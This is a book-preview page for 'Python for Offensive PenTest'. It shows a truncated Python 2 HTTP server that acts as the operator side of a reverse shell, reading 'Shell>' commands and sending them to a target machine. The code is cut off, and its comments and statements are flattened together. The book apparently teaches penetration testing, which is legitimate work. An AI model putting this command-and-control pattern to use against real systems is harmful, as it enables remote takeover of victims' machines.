Skip to Content
Python for Offensive PenTest
book

Python for Offensive PenTest

by Hussam Khrais
April 2018
Intermediate to advanced content levelIntermediate to advanced
176 pages
4h 16m
English
Packt Publishing
Content preview from Python for Offensive PenTest

Server side

The following block of code is on the server side:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# Basic HTTP Serverimport BaseHTTPServer # Built-in library we use to build simple HTTP server HOST_NAME = '10.10.10.100' # Kali IP address PORT_NUMBER = 80 # Listening port number class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request                                                          # from the client / target    def do_GET(s):                                         #If we got a GET request, we will:-         command = raw_input("Shell> ") #take user input        s.send_response(200) #return HTML status 200 (OK) s.send_header("Content-type", "text/html") # Inform the target ...
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Start your free trial

You might also like

Python Penetration Testing Cookbook

Python Penetration Testing Cookbook

Rejah Rehim

Publisher Resources

ISBN: 9781788838979Supplemental Content